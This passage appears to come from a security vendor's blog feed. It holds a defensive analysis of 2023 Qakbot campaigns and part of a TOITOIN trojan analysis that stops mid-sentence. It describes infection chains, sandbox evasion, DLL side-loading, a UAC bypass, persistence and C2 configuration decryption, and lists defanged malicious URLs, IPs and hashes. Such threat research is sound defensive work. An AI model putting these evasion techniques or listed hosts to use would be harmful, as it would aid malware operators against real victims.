-> Qakbot Payload Figure 1 - Illustrates the attack chain involving a Malicious PDF as the initial attack vector. Qakbot recently reverted to utilizing HTML smuggling as a means of delivering its initial attack payload. This technique was observed across numerous campaigns during the previous year. In March, the identification of several new malspam emails indicated that threat actors were leveraging Latin-themed HTML files to facilitate the download of zip archives. These archives contained an obfuscated JS file, initiating a sequence similar to the one depicted in Fig.1, ultimately leading to the delivery of the Qakbot payload. The attack chain discovered in March follows the following progression: Malspam -> HTML -> URL -> ZIP -> JS -> PS -> Qakbot Payload In this chain, malspam serves as the initial delivery method, targeting unsuspecting victims through deceptive emails. The HTML files play a pivotal role in exploiting HTML smuggling techniques, concealing malicious activities within seemingly innocuous web content. Upon accessing the HTML files, URLs are triggered, initiating the download of zip archives containing the obfuscated JS file. The use of obfuscation ensures that the malicious code remains hidden from casual detection and analysis, enhancing the threat actors' ability to evade detection. Subsequently, the JS file is executed, setting off a series of actions that culminate in the execution of a Powershell command (PS). The Powershell command is instrumental in obtaining and executing the final payload, which, in this case, is the notorious Qakbot banking trojan. During our campaign follow up we found this sample from Twitter handle @Pr0xylife and @Cryptolaemus1. This resurgence of HTML smuggling by Qakbot highlights the significance of continuous monitoring and awareness of evolving malware tactics and shifting attack chains for detecting and countering such threats. Figure 2 - Shows the attack chain with a Malicious HTML file as the initial attack vector. Later, a similar attack chain was identified, where the initial attack vector involved a PDF file. This PDF file was designed to download a zip archive, which, in turn, contained an obfuscated WSF/HTA file. Upon execution, the WSF/HTA file ran a base64 encoded Powershell command, leading to the download and execution of the final Qakbot payload. The observed attack chain follows the following progression: Malspam -> PDF -> ZIP -> WSF/HTA -> PS -> Qakbot Payload In this scenario, malspam continues to serve as the initial method of propagation, disseminating malicious content through email campaigns. The PDF file, acting as the attack vector, entices users to access its contents, ultimately triggering the download of a zip archive. Inside the zip archive, an obfuscated WSF/HTA file is concealed, obscuring its malicious intent and complicating detection efforts. Once executed, the WSF/HTA file initiates a base64 encoded Powershell command, a common technique used by threat actors to download and execute further payloads without leaving a conspicuous trail. The culmination of this attack chain results in the delivery and execution of the Qakbot banking trojan against the targeted system and its users. Figure 3 - Features a Malicious PDF as the initial attack vector in the attack chain, accompanied by WSF and HTA files. In another discovery made by ThreatLabz researchers, a variant of the Qakbot malware was observed employing a stealthy attack chain with the use of Microsoft Excel add-ins (XLL) as the initial vector. Microsoft Office add-ins are DLL files with distinct extensions based on the application they are designed for. While Microsoft Word add-ins use the '.wll' extension, Excel add-ins utilize the '.xll' extension. The choice of using XLL files as the initial attacking vector is strategic for threat actors due to their ease of use. Unlike Word add-ins that must be placed in specific trusted locations depending on the Office version, XLL files are automatically loaded and opened by the Excel application, simplifying the delivery process for the attackers. Moreover, XLL files possess unique characteristics that differentiate them from regular DLLs. They can have export functions that are invoked by the Excel Add-In manager when triggered by Excel. Upon launching an XLL file, Excel activates the export functions defined by the XLL interface, such as xlAutoOpen and xlAutoClose, similar to Auto_Open and Auto_Close in VBA macros. This mechanism is exploited by the attackers to load the malicious payload seamlessly, evading security measures and detection. The attack chain follows a sequence where the threat actor utilizes a .xll file in the initial phase. When a user opens this .xll file, it proceeds to drop two files, "1.dat" and "2.dat," into the '\Users\User\AppData\Roaming\' directory. The "1.dat" file contains a 400-byte header of the PE file, while the "2.dat" file holds the remaining data of the PE file. These two files are then combined to create the "3.dat" file, which contains the actual Qakbot payload. Additionally, the attackers establish scheduled tasks to execute the Qakbot payload every 10 minutes, ensuring its persistence on the victim's machine. The observed attack chain follows the following progression: Malspam -> ZIP -> XLL > Qakbot Payload This attack chain sample underscores the ever-evolving nature of Qakbot, which continuously adapts its tactics and techniques to avoid detection and infiltrate systems. By utilizing XLL files and implementing sophisticated techniques to hide and deliver its payload, Qakbot continues to pose a significant threat to users and organizations. Figure 4 - Shows the attack chain involving Malicious XLL files as the initial attack vector. Case Study 2: April 2023 - Adapting Qakbot: Unraveling the XMLHTTP Experiment in the Attack Chain In April, researchers noted more significant changes in the Qakbot attack chain, as the samples revealed the malware continued to experiment with different file formats to infect users. In this evolved attack chain, the WSF (Windows Script File) contains a hex-encoded XMLHTTP request to download the Qakbot payload, replacing the previous base64 encoded PowerShell command. The observed attack chain follows the following progression: Malspam -> PDF -> ZIP -> WSF -> XMLHTTP -> Qakbot Payload Figure 5 - Depicts the attack chain utilizing the XMLHTTP file. Towards the end of April, Qakbot's persistent use of OneNote files as the initial attack vector was still evident in its latest campaign. OneNote files served as an effective disguise, luring unsuspecting users into opening and executing the embedded contents. The attackers leveraged the familiarity and widespread use of OneNote files to increase the chances of successful infections. Within this attack chain, the OneNote file contains an embedded MSI (Microsoft Installer) file. This MSI file was designed to trick users by posing as a legitimate Microsoft Azure installer, exploiting victims' trust in these familiar software installations and delivering the Qakbot payload. The MSI file was purposely crafted to include several components, enhancing its evasive capabilities and making it difficult for security systems to detect its true intent. Among these components, a self-deletion PowerShell script was incorporated, allowing the malware to erase its tracks after execution, reducing the chances of detection and analysis. Furthermore, the MSI file contained a configuration file that held essential information, including the path to execute a WSF (Windows Script File) script. This WSF script served as a critical link in the attack chain, acting as an intermediary to facilitate the download and execution of the Qakbot payload. To ensure further obfuscation and evasion, the WSF script was hex-encoded, making it challenging for traditional security measures to interpret its true purpose. This encoded script was responsible for executing an XMLHTTP request, a technique used to download the actual Qakbot payload from a remote server. Through this intricate sequence of deception and evasion, attackers aim to successfully deliver the Qakbot payload onto victim machines. By continuously adapting their attack techniques and leveraging familiar file formats, the threat actors behind Qakbot seek to stay one step ahead of security defenses and professionals. The observed attack chain follows the following progression: Malspam -> OneNote -> MSI -> WSF -> XMLHTTP -> Qakbot Payload Figure 6 - Evolving Attack Chain: Leveraging Malicious OneNote and MSI Files as Initial Attack Vector. Case Study 3: May 2023: Qakbot Explores Advanced Defense Evasion Tactics Throughout the month of May, researchers closely monitored Qakbot's activities and observed the threat actor's efforts to experiment with innovative Defense Evasion Tactics aimed at infecting users and evading detection. Alongside changes in the attack chain, Qakbot introduced sophisticated techniques, including Indirect Command Execution using conhost.exe and DLL Side-Loading, further complicating its detection and removal. In this attack chain, Qakbot takes advantage of conhost.exe as a proxy binary to bypass defensive measures. By employing conhost.exe, Qakbot attempts to outwit security counter-measures that restrict the use of typical command-line interpreters. This enables the threat actor to execute commands using various Windows utilities, creating a clever diversion and making it more challenging for security tools to identify and mitigate the threat effectively. The attack sequence starts with malspam, where malicious emails are distributed to unsuspecting victims. These emails often contain malicious attachments disguised as innocent files, luring users into opening them. The threat actors use PDF files packed within ZIP archives, which, when accessed, lead to the execution of WSF files via XMLHTTP. To further obscure its activities, Qakbot then leverages conhost.exe, employing it as an intermediary to carry out specific commands. This tactic is part of Qakbot's strategy to operate stealthily within the compromised system, remaining undetected by conventional security mechanisms that may primarily focus on detecting direct malicious code execution. The ultimate goal of this attack chain is to deliver the Qakbot payload, allowing the malware to infiltrate the victim's system, steal sensitive information, and potentially carry out other malicious activities, including espionage and financial theft. The observed attack chain follows the following progression: Malspam -> PDF -> ZIP -> WSF -> XMLHTTP -> conhost.exe -> Qakbot Payload Figure 7 - Demonstrates Qakbot's utilization of Indirect Command Execution with conhost.exe. In this intricate attack chain, the initial vector is a ZIP file that conceals an executable (EXE) file. Upon execution, the EXE file loads a hidden dynamic-link library (DLL) that employs a curl command to download the final Qakbot payload. This attack chain also involves the use of DLL side loading technique, adding another layer of complexity to the attack. The threat actor initiates this attack through malspam, sending deceptive emails containing URLs that lead to the delivery of the ZIP file. Once the user accesses the ZIP file and executes the embedded EXE file, the attack unfolds, triggering the loading of the concealed DLL. This DLL utilizes a curl command to download the final Qakbot payload from a remote server. By incorporating DLL side loading, the threat actor creates a diversion, making it more challenging for security measures to detect the malicious activities. This advanced technique allows the malware to execute code indirectly and evade traditional detection mechanisms, adding an extra layer of sophistication to the attack. The attack sequence follows: Malspam -> URL -> ZIP -> EXE -> DLL -> CURL -> Qakbot Payload Figure 8 - Depicts Qakbot's utilization of DLL Side Loading in its attack chain. On May 17th, several Pikabot samples were distributed using tactics, techniques, and procedures (TTPs) similar to those of Qakbot within the Zscaler Cloud. This discovery is valuable as it highlights a potential link or copycat scenario and provides insights into Pikabot malware behavior and distribution methods. The resemblance between Pikabot and Qakbot, including similarities in their behavior and internal campaign identifiers, suggests a possible connection between the two. However, there is not yet sufficient evidence to definitively link these malware families to the same threat actor. Understanding the similarities and differences between Pikabot and Qakbot is critical for cybersecurity professionals to effectively respond to these threats. The identification of new malware variants helps security teams stay ahead of evolving attack trends, enabling them to adjust their defense strategies accordingly. By closely monitoring the behavior and distribution patterns of these malware families, security experts can enhance their threat intelligence and improve their ability to detect and mitigate such attacks in the future. Threatlabz's ongoing technical analysis of Pikabot will provide further insights into its capabilities and potential impact on organizations. Keeping abreast of such developments and conducting thorough examinations of new malware variants is crucial for safeguarding networks, systems, and sensitive data from cyber threats. As the investigation progresses, security professionals can better assess the potential risks posed by Pikabot and formulate effective mitigation measures to protect against its infiltration and harmful activities. Figure 9 - Shows the distribution of Pikabot, discovered in Zscaler Cloud. Technical Analysis Summary The analysis of various Qakbot campaigns revealed that despite different campaign strategies, all Qakbot samples retained a consistent core. Notably, the threat actor used different compilers in each campaign, resulting in changes to the binary's opcodes while maintaining the same depack algorithm. This technique aims to evade static detection mechanisms like YARA, making it more challenging for security analysts to identify and mitigate the malware. Following execution, the Qakbot malware checks if it is running under the Windows Defender Sandbox environment using the GetFileAttributeW() function. Specifically, it searches for the presence of any directory named "C:\INTERNAL\__empty," and if detected, Qakbot terminates itself. This behavior showcases the malware's efforts to evade analysis within sandboxed environments and highlights its sophistication. Figure 10 - Verification of Windows Defender Sandbox execution. Additionally, the unpacking of the Qakbot malware is relatively straightforward, utilizing the VirtualAlloc() API to allocate memory space and execute itself. The unpacked payload reveals two different components within the Bitmap section: COMPONENT_07 and COMPONENT_08. COMPONENT_07 contains the encrypted campaign ID, while COMPONENT_08 contains the encrypted Qakbot command-and-control server (C2) configurations. Qakbot samples tend to use the following resources: Bitmap RCData Figure 11 - Component_07: Encrypted Campaign ID. The screenshot in Figure 11 shows the encrypted content of Component_07, which appears to contain the campaign ID used by Qakbot. This encrypted data is a crucial part of the malware's internal campaign identification process, and decrypting it may provide valuable insights into the threat actor's campaigns and targeting strategies. Figure 12 - Component_08: Encrypted QakBot C2 configuration. The screenshot in Figure 12 shows the encrypted content of Component_08, which appears to hold the encrypted QakBot command-and-control (C2) server configuration information. Decrypting this component may reveal critical information about the communication channels and C2 infrastructure utilized by the QakBot malware and provide essential insights into the threat actor's operations. Of note, Qakbot employs XOR encryption with two different offsets to encrypt significant strings. The encrypted data is strategically placed in the .DATA section of the unpacked payload binary file, enhancing its concealment and making it more challenging for analysts to interpret the content. The decryption loop relies on a separator byte as the termination condition, adding flexibility to the decryption process. Figure 13 -Shows the encoded strings residing in the .DATA section of the Qakbot malware. The use of encoding techniques in this section adds an extra layer of obfuscation. The decrypted strings contain critical information about Qakbot's anti-AV functionality and other malicious activities it performs. These decoded strings offer insights into the malware's behavior, showcasing the various techniques employed to avoid detection and hamper analysis efforts. Figure 14 - Depicts the decrypted strings, along with the next stage decryption key. These decrypted strings contain valuable information regarding Qakbot's functionalities and internal operations. The next stage decryption key is a critical component that leads to the unraveling of additional layers of encryption and provides insights into Qakbot's intricate behavior. Figure 15 - Decrypted strings contain Anti-AV and Anti-Analysis strings. The SHA-1 of the hardcoded key recovered from the .DATA section remains static across different campaigns, and it serves as the RC4 key to decrypt encoded data in the resource section. Additionally, the SHA-1 is used for validation purposes to ensure the accuracy of the decryption process. Figure 16 - SHA-1 hash of encrypted key. Moreover, Qakbot uses SHA-1 validation to decrypt the encoded configuration present in the resource section of the unpacked binary. The decrypted configuration contains critical information such as new RC4 keys and Qakbot campaign IDs. Fig.17 - SHA-1 validation + New RC4 Key + Qakbot Campaign ID The SHA-1 validation of the New RC4 key and the Encrypted Configuration matches with the first 20 bytes obtained from the decrypted data in the previous step (Figure 17). Figure 18 - SHA-1 validation. The first 20 bytes in the data represent the SHA-1 validation, a cryptographic process used for data integrity verification. These bytes serve as a hash value that allows systems to confirm the authenticity and integrity of the data being processed. Following the SHA-1 validation, the subsequent 20 to 40 bytes are indicative of the new encryption key. Encryption keys are essential in securing data and ensuring that only desired parties can access and interpret the encrypted information. Beyond the 40th position in the data, we encounter the encrypted configurations. These configurations likely contain critical instructions, settings, or data that the malware utilizes during its execution and malicious activities. This data structure encompasses essential components of the Qakbot malware's operation, encompassing validation, encryption, and critical configurations necessary for executing its malicious objectives. Figure 19 - Qakbot CampaignID. Following the initial RC4 decryption process, the second round of RC4 decryption occurs on Component_08, as shown in Figure 12 of the resource section. Component_08 is the encrypted section that likely contains the Qakbot command-and-control (C2) server configuration. Conducting the second RC4 decryption on this component may unveil critical information about the communication channels, domains, or IP addresses used by the malware to establish communication with its C2 infrastructure. Analyzing this decrypted data is essential in understanding the command and control infrastructure of Qakbot. Figure 20 - SHA-1 hash validation, new RC4 key, Qakbot C2 configuration. With the application of the new RC4 key, the decryption process enables access to the command-and-control (C2) configuration of the Qakbot malware. The decrypted configuration data is presented in hexadecimal format, with a starting separator value of "01". The subsequent four bytes are converted into decimal values byte by byte, followed by an additional two bytes that indicate the ports used to establish connections to the C2 servers. Figure 21 - Qakbot's decrypted Command-and-Control (C2) configuration. Upon decrypting the command-and-control (C2) configuration of Qakbot, a distinct pattern emerges in how the IP addresses and ports are separated. These values are initially represented in hexadecimal format, and Qakbot converts each byte of these values into their corresponding decimal equivalents to obtain the C2 addresses. For example: - IP: 58 7E 5E 04 (hex) -> 88.126.94.4 (decimal) - Port: C3 50 (hex) -> 50000 (decimal) By converting these values from hexadecimal to decimal, Qakbot obtains the IP addresses and ports, which are essential in establishing connections with its command-and-control servers. Figure 22 - Qakbot's Command-and-Control (C2) configuration. Overall, the technical analysis provides essential insights into Qakbot's behavior, evasion techniques, and the significance of analyzing its unique components to effectively counter and mitigate this persistent threat. Understanding the malware's strategies empowers security professionals to develop robust defense measures and stay proactive in safeguarding networks and systems from Qakbot and other evolving malware. Network Analysis Conducting a thorough examination of the Qakbot Command and Control (C2) infrastructure, we observed the top five countries where Qakbot C2s are most active. These countries include the United States (US), Great Britain (GB), India (IN), Canada (CA), and France (FR). This analysis highlights the global reach and widespread distribution of Qakbot's C2 servers, indicating the significant geographic presence of the malware's command centers. Understanding the distribution of C2 servers in different countries is crucial for devising targeted defense strategies and collaborating with international cybersecurity partners to combat the threat effectively. Table 1 - Displays the top 5 countries where Qakbot Command and Control (C2) servers are most active. Figure 23 - Showcases the distribution of Qakbot Command and Control (C2) servers. Upon further analysis of the Command and Control (C2) servers, we observed that the transaction count of Qakbot C2s was significantly higher during March and April, than at the beginning of the year. This indicates a surge in the malware's activities during that period, and it may suggest that the threat actor(s) behind Qakbot were particularly active in executing campaigns during this timeframe. Table 2 - Displays the Qakbot transaction count month over month from January to May of 2023. Figure 24 - Illustrates spikes in the transaction count of Qakbot Command and Control (C2) activity by date. In March 2023, Germany experienced a significant surge in Qakbot Command and Control (C2) activity. During this period, major Qakbot C2s from the United States (US), Netherlands (NL), and France (FR) were directed towards Germany, indicating a targeted campaign against the country. A similar trend was observed in April 2023, although with a reduced volume of data transferred compared to March. The data suggests a concentrated effort by threat actors to target Germany during these months, potentially signaling specific motivations or objectives in that region. Figure 25 - Illustrates the Qakbot Command and Control (C2) activity specifically targeting Germany in March 2023. In April 2023, our observations revealed noteworthy Command and Control (C2) activity originating from Argentina (AR) and targeting the United States (US) with substantial data transfer. Additionally, Qakbot C2s in Italy (IT) were observed targeting Brazil (BR). These activities indicate an interconnected network of C2 servers and highlight the global nature of Qakbot's operations, with specific regions targeting each other for potential malicious activities. Figure 26 - Depicts the Qakbot Command and Control (C2) activity during April 2023. Conclusion In conclusion, Qakbot is a highly sophisticated banking trojan malware, strategically targeting businesses across different countries. This elusive threat employs multiple file formats and obfuscation methods within its attack chain, enabling it to evade detection from conventional antivirus engines. Operating through a phishing campaign, Qakbot continuously adapts to new distribution mechanisms to more effectively infect users. Through its experimentation with diverse attack chains, it becomes evident that the Threat Actor behind Qakbot is continuously refining its strategies. However, after June, a significant drop in Qakbot campaigns is observed, suggesting a possible pause in their activities. Zscaler's Threat Labs team extensively analyzed the behavior of various files associated with Qakbot, utilizing the MITRE ATT&CK framework to assess threat scores and triggered techniques. The team remains vigilant, continuously monitoring the campaign, and is prepared to unveil any new findings they may discover. To combat such threats effectively, organizations must remain vigilant and adopt best practices, including implementing multi-layered security defenses and conducting security awareness training. By staying proactive and collaborative, the cybersecurity community can thwart Qakbot's relentless pursuit of infiltrating and compromising systems, ensuring a safer digital landscape for individuals and enterprises worldwide. Zscaler Sandbox Coverage During the investigation of this campaign, Zscaler Sandbox played a crucial role in analyzing the behavior of various files. Through this sandbox analysis, the threat scores and specific MITRE ATT&CK techniques triggered were identified, as illustrated in the screenshots provided below. This comprehensive approach empowers cybersecurity professionals with critical insights into the malware's behavior, enabling them to effectively detect and counter the threats posed by this campaign. Figure 27 - Zscaler Sandbox report detecting and analyzing recent Qakbot malware campaign. Zscaler’s multilayered cloud security platform detects payloads with following threat names: Win32.Banker.Qakbot MITRE ATT&CK Techniques: Tactic Technique ID Technique Name Initial Access T1566 Phishing Execution T1204 T1059 T1047 User Execution Command and Scripting Interpreter Windows Management Instrumentation Persistence T1053.005 T1547.001 Scheduled Task Registry Run Keys / Startup Folder Privilege Escalation T1053.005 Scheduled Task Defense Evasion T1027 T1070.004 T1112 T1202 T1574.002 T1574.001 T1564.001 T1055 T1218 Obfuscated Files or Information File Deletion Modify Registry Indirect Command Execution DLL Side-Loading DLL Search Order Hijacking Hidden Files and Directories Process Injection System Binary Proxy Execution Credential Access T1003 T1555.003 OS Credential Dumping Credentials from Web Browsers Discovery T1016 System Network Configuration Discovery Command and Control T1071 T1095 Application Layer Protocol Non-Application Layer Protocol Indicators of Compromise (IoCs): Case Study 1 - March 2023 Description MD5 Network Malicious PDF Download JS File c986136d713f71449ad8ba970379d306 85.239.52[.]29/ONT[.]php Obfuscated JS file download Qakbot 3607ad95e33dd12803af676597df5c6a 45.66.248[.]9/qBSTwc/aw Qakbot Payload 770453c5d3ed689a451d55e947764742 - Description MD5 Network Malicious HTML file download Zip file 755a25e36cbf87b7e4415de2fdf0f9e3 https[:]//jbdata.com.ng/uq/uq[.]php?88748 https[:]//superspeedtransports.com/qs/qs.php?59697 https[:]//aadilmehmood.com/oab/oab[.]php?24149 Downloaded Zip File 1a90b0c2129b8a552b6ec751ef1e6caa - Extracted JS File e2a21a2a7f5d2d85c0bcda95d6d0fc03 https[:]//azarmadar[.]com/aUqL/120 Qakbot Payload 74ee45a7dc4ca40eaaf817dc5959328d - Description MD5 Network Malicious PDF dd27c04bc998f69467c2c81c53a111ab http[:]//gurtek.com[.]tr/exi/exi.php Downloaded Zip File 789e3789de0eb630000adb1a2ed27d7e - Extracted WSF File e94c5f36ec0cccccb231e1cd04f2a646 https[:]//graficalevi.com[.]br/0p6P/vLSyX Qakbot Payload 19c1526182fe5ed0f1abfafc98d84df9 - Description MD5 Network Malicious PDF cccda4837024a71fa74ceb420b5e854e https[:]//iquodigital[.]com/eps/delectusfuga.php Download Zip 2bc1cbc8c8f54245ca0fefb49c229f77 - Extracted HTA File 2394742a2c6fa05327cf1d48767af727 https[:]//zainco[.]net/OdOU/5k4ll56eOFo Qakbot Payload fb5ca6825e52d72a2010c8474ddaaa41 - Description MD5 Network Zip File 91fb1dcf5a6222262fd7fa77019bb1e4 - XLL File 68781578b0b58e21177c7b71f9b85567 - Qakbot ff58f9cf0740aead678d9e36c0782894 - Case Study 2 - April 2023 Description MD5 Network PDF File 2342ee9c7520abef3700b0fddf825c71 http[:]//eaglewingsuae[.]com/wicd/643d2215dacb3.zip Zip File 03c8cd94f624ae6074c8facb973d4b9d - WSF File 65f256e4ce4013742f2b59d869b6c663 http[:]//77.91.100[.]135/aSxBaqnfj98.dat Qakbot 4deae2c9f1f455670f2e091ce7e0b4e1 - Description MD5 Network OneNote File 77079f381ac044ad7a3df18607657f74 - MSI File 8056b3bafd82ce7e6156f1b3f314db52 - Cleanup PS1 File e1031ce77dde7a368159a9dd0ed7e6d4 - WSF File cb93c679ed14fe409df9a6cb564e488f https[:]//logswalker[.]com/aF8HY9p/2 Qakbot ce0d0ef75f3d7da7ba434a2017905132 - Case Study 3 - May 2023 Description MD5 Network PDF File f42544fe0db583e4b836e4b8cfc52802 https[:]//inspiratour[.]co[.]id/tsopexfzrf/tsopexfzrf.zip ZIP File 842fb152664671ca137b8ae390900fa6 - WSF File 934feee5657b08faec80a29cd2a77acc http[:]//45.155.37[.]101/a2nZbs476.dat http[:]//149.102.225[.]18/a2nZbs476.dat http[:]//207.148.14[.]105/a2nZbs476.dat http[:]//5.42.221[.]144/a2nZbs476.dat Qakbot 2b652290e80db5de823a915145eff417 - Description MD5 Network ZIP File 55027a65b1889b0642dbce8f39f4ba74 - Side Loading DLL 48f68450df1ca26e3fb1d7c07d0fd836 http[:]//109.172.45[.]9/Leq/15 Qakbot fce88b20bceebd0bfed68131820efab6 - Tue, 25 Jul 2023 08:31:53 -0700 Meghraj Nandanwar https://www.zscaler.com/blogs/security-research/hibernating-qakbot-comprehensive-study-and-depth-campaign-analysis The TOITOIN Trojan: Analyzing a New Multi-Stage Attack Targeting LATAM Region https://www.zscaler.com/blogs/security-research/toitoin-trojan-analyzing-new-multi-stage-attack-targeting-latam-region Summary Discover the intricate layers of a new sophisticated and persistent malware campaign targeting businesses in the LATAM region delivering the TOITOIN Trojan. Delve into the multi-stage attack methodology, from deceptive phishing emails to custom-built modules, as we dissect its techniques and shed light on its impact. Gain valuable insights into the evolving threat landscape and learn how organizations can fortify their defenses against this emerging Latin American cyber threat. Stay one step ahead with this in-depth analysis of TOITOIN and safeguard your business against advanced malware attacks. Introduction In the ever-evolving landscape of cyber threats, researchers from Zscaler ThreatLabz have recently uncovered a concerning development: a new targeted attack campaign striking businesses in the Latin American (LATAM) region. This sophisticated campaign employs a trojan that follows a multi-staged infection chain, utilizing specially crafted modules throughout each stage. These modules are custom designed to carry out malicious activities, such as injecting harmful code into remote processes, circumventing User Account Control via COM Elevation Moniker, and evading detection by Sandboxes through clever techniques like system reboots and parent process checks. The ultimate payload of this campaign is a new Latin American Trojan called TOITOIN, which incorporates a unique XOR decryption technique to decode its configuration file. Once decrypted, the trojan gathers crucial system information, as well as data pertaining to installed browsers and the Topaz OFD Protection Module, before sending it to the command and control server of the attackers in an encoded format. This blog post provides an in-depth analysis of this emerging malware campaign and its corresponding infection chain. Read on to learn more about this alarming threat. Key Takeaways and Observations 1. The TOITOIN malware campaign targets businesses in the LATAM region, utilizing sophisticated techniques and multi-stage infection chains. 2. By leveraging Amazon EC2 instances, the threat actors evade domain-based detections, making it more challenging to detect and block their activities. 3. The analyzed campaign employs a series of custom-developed modules, including: Downloader Module: Downloads further stages, evades sandboxes through system reboots, and maintains persistence using LNK files. Krita Loader DLL: Sideloaded via a signed binary, it loads the InjectorDLL module. InjectorDLL Module: Injects the ElevateInjectorDLL into the remote process (explorer.exe). ElevateInjectorDLL Module: Evades sandboxes, performs process hollowing, and injects either the TOITOIN Trojan or BypassUAC module based on process privileges. BypassUAC Module: Utilizes COM Elevation Moniker to bypass User Account Control and execute the Krita Loader with administrative privileges. 4. The final payload, the TOITOIN Trojan, employs custom XOR decryption routines to decode the configuration file containing the Command & Control server's URL. It transmits encoded system information and details about installed browsers and the Topaz OFD Protection Module to the C&C server. In the absence of the configuration file, the information is sent via a POST request using curl. 5. Zscaler's Zero Trust Exchange provides strong protection against sophisticated malware campaigns like TOITOIN, leveraging its zero trust model, advanced threat intelligence, cloud-native architecture, and granular access controls to ensure the security and integrity of customer environments. TOITOIN Infection Chain In May 2023, diligent threat hunters within the Zscaler cloud, recognized as the world's largest security cloud, made a significant breakthrough. Their discovery involved the identification of numerous malware samples concealed within compressed ZIP archives. All of the identified archives were found to be hosted by Amazon EC2, as shown in Figure 1 below. Upon closer examination and thorough analysis of related malware samples obtained from Zscaler cloud, it became evident that a novel campaign had emerged. This campaign, named TOITOIN introduced a series of custom-built malwares specifically designed to target businesses operating within LATAM. Commencing in May 2023, this malicious endeavor continues to pose an ongoing threat, demanding immediate attention and comprehensive understanding from defenders. Figure 1 - Researchers discover suspicious ZIP archives hosted on Amazon EC2 during threat hunting activities in Zscaler cloud. The TOITOIN malware infection chain, shown in Figure 2 below, employed in this targeted campaign follows a well-crafted sequence, starting with an initial compromise phishing email. Figure 2 - The multi-staged infection chain. In the context of this campaign, Figure 3 offers a glimpse into the deceptive email crafted with the specific intent to entrap a prominent Investment Banking company in Latin America. Carefully designed, the email capitalizes on a Payment Notification Lure, alluring the recipient to engage further by clicking on a button labeled 'Visualizar Boleto,' which translates to 'View Invoice' in English. This strategic choice of wording aims to evoke a sense of urgency and entice the target to explore the contents of the email, ultimately falling into the trap set by the threat actors. Figure 3 - Screenshot of phishing email sent by threat actors behind this TOITOIN campaign. Upon clicking the button in the phishing email, the user unwittingly initiates a chain of events. The URL http[:]//alemaoautopecas[.]com/1742241b/40c0/df052b5e975c.php?hash=aHR0cHM6Ly9teS5ub2lwLmNvbS9keW5hbWljLWRucw is then opened, serving as an intermediary redirect. Subsequently, the victim's browser is redirected once again, this time to the address http[:]//contatosclientes[.]services/upthon. It is at this point that the malicious ZIP archive is stealthily downloaded onto the victim's system, and begins infiltrating their defenses. Notably, several other domains have been identified as vehicles for delivering these malicious ZIP archives. These domains include: atendimento-arquivos[.]com arquivosclientes[.]online fantasiacinematica[.]online By diversifying the delivery channels, the threat actors behind this campaign have effectively evaded detection based on domain reputation. However, it is worth mentioning that the malicious ZIP archives were hosted on an Amazon EC2 instance as shown below in Figure 4. Leveraging the capabilities of Amazon's cloud infrastructure, the attackers have managed to stay one step ahead, shielding their activities from domain-based detection mechanisms. Figure 4 - Malicious ZIP archive downloaded from the Amazon EC2 instance. To further obfuscate their intentions, the threat actors adopted a dynamic approach to naming the ZIP archives. With each download, the server generates a new and randomly generated file name, thwarting simplistic attempts at detection based on static file naming patterns. This tactic adds an additional layer of complexity to the campaign, making it more challenging to identify and mitigate the threat effectively. Within the ZIP archive labeled as "HGATH33693LQEMJ.zip," a malicious executable file titled "HCEMH.hqdrm.63130.exe" resides. This specific file operates as the designated downloader module, orchestrated by the threat actors to initiate the retrieval of numerous payloads from the server under their control. Alongside this primary function, the downloader module, analyzed in the next section, also encompasses a range of evasion techniques, strategically implemented to circumvent detection and hinder security measures. Analysis of the Multi-Staged TOITOIN Infection Chain: Stage-1: Downloader module Examination of the TOITOIN downloader module reveals its intricate operations, including string decryption routines, path retrieval, log file creation, and the selection of random file names. Understanding the string decryption process employed by malware is vital for defenders as it enables them to detect encrypted or obfuscated strings, analyze the attack, attribute it to specific threat actors, respond effectively, and develop mitigation strategies. The findings in this section shed light on the downloader module's functionalities and provide valuable insights into the overall execution flow of the TOITOIN malware. During the analysis of the malware, specific attention was given to the downloader module. The path to the module's Program Database (PDB) file was identified as "F:\Trabalho_2023\OFF_2023\LOAD_APP_CONSOLE_C_PLUS\LOAD\x64\Release\NAME.pdb." Upon execution, the downloader module initiates a String Decryption routine. Initially, the encrypted hex strings are concatenated in reverse order, employing multiple heap allocations. The resulting concatenated encrypted hex string is then passed as an argument to the decryption routine, as depicted in Figure 5 below. Figure 5 - Illustrates the String decryption routine, showcasing the concatenation process. In the decryption routine, the encrypted hex string undergoes a series of operations. Firstly, the string is reversed, and subsequently, an XOR operation is performed between the N and N+1 byte, where N is incremented by 2 for each operation. To facilitate this process, a string decryptor was developed (Code: Appendix A) specifically for the string decryption routine. Utilizing this string decryptor, the final concatenated encrypted hex string can be decrypted, revealing a decrypted string in the pattern of "@1-55: <hex_string>." Each of these encrypted hex strings is then individually decrypted using the same string decryption function, based on the specific index value passed to the function according to the requirements. Figure 6 shows the decryption of the encrypted hex strings using the string decryptor. Figure 6 - Overview of the string decryption routine, focusing on the decryption of the downloader URL. Once decrypted, the downloader module retrieves the paths to the 'Appdata', 'HomeDrive', and 'Username' of the infected system by calling the getenv() function, with the decrypted strings "appdata, homedrive, username" as arguments. The module then proceeds to create a log file named "<reverse_of_computer_name>.log" within the "AppData/Roaming" directory. The computer name is obtained by invoking the GetComputerNameA() function. Additionally, the downloader module selects a random file name from a collection of encrypted hex strings, shown below in Figure 7. These file names are decrypted dynamically using the same string decryption routine. The chosen file name is assigned to a signed executable responsible for sideloading the Krita Loader DLL. Further analysis of this process is presented in the subsequent sections. Figure 7 - Showcases a list of randomly generated file names. Once a file name is selected, the downloader module proceeds to create a batch script in the temp directory with a dynamically generated name. The necessary information for the batch script, including the path to the temp directory, extensions, and content, is decrypted using the string decryption routine. Upon execution, the batch script writes and executes a VBScript within the temp directory. The VBScript, in turn, creates a shortcut (.LNK) file in the startup folder. The name of the shortcut file, "icepdfeditor.lnk," is dynamically set to the previously selected random file name from the list. The TargetPath of the shortcut file is assigned as "C:\Users\Public\Documents\knight\icepdfeditor.exe," with the file name again set to the random selection from the list. The VBScript, identified as "rnTiucm.vbs," is subsequently deleted towards the end of this process. Figure 8 - Batch script creating LNK file in the StartUp folder for persistence. The above figure illustrates the batch script's creation of an LNK file in the StartUp folder, ensuring persistence on the compromised machine. By placing the "icepdfeditor.lnk" shortcut in the StartUp folder, it executes every time the system restarts, subsequently launching "icepdfeditor.exe" in the Public Documents folder. Following this, the downloader module initiates the downloading routine, decrypting URLs dynamically using the string decryption process, as shown in Figure 9 below. Figure 9 - String decryption routine (downloader URLs). Then in Figure 10 demonstrates the use of InternetOpenUrlA() and InternetReadFile() functions to retrieve encrypted data containing multiple payloads for this complex attack, disguised here as mp3 files from the URL: 